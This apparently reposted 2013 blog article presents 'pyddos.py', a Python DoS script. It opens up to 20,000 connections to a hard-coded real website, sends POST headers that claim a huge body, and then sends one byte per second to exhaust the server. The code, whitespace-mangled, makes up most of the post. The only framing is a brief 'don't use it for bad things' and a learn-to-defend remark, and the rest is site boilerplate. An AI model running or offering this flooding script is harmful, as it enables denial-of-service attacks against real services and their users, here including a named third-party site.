Python version DDoS attack script

Source: Internet
Author: User

Today in order to rest, change the brain, so I found a previous collection of Python article, is about DDoS attack a script, just today is free, on the practice.

Attached source pyddos.py:

#!/usr/bin/env Python import socket import time import threading #Pressure Test,ddos Tool #---------------------------MAX _conn=20000 port=80 host= "www.baidu.com" page= "/index.php" #---------------------------buf= ("POST%s http/1.1\r\n" Host:%s\r\n "" content-length:10000000\r\n "" cookie:dklkt_dos_test\r\n "" \ r \ n "% (Page,host)) socks=[] def conn_thread (): Global socks for I in range (0,max_conn): S=socket.socket (Socket.af_inet,socket. Sock_stream) Try:s.connect ((Host,port)) s.send (buf) print "Send buf ok!,conn=%d\n"%i socks.append (s) exce 
	PT Exception,ex:print "Could not connect to server or send error:%s"%ex time.sleep (Ten) #end def def Send_thread ():
			Global socks while true:for s in Socks:try:s.send ("F") #print "Send ok!" Except Exception,ex:print "Send exception:%s\n"%ex socks.remove (s) s.close () time.sleep (1) #end def conn_t H=threading. Thread (target=conn_thread,args= ()) send_th=threading. Thread (Target=send_thread, args= ()) Conn_th.start () Send_th.start ()

 

OK, you can simply test the power of this script, but I hope you don't use it for bad things, and later I'll look for a python version of the DDoS attack script, which is the way to learn attacks to better defend against attacks.

The original address (note: It seems that the friend is also copied from other places, but he does not seem to mark the source, so I do not know where the original text, if there is infringement, please contact me in time): Python version of the DDoS script

April 14, 2013 Eric.tang

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.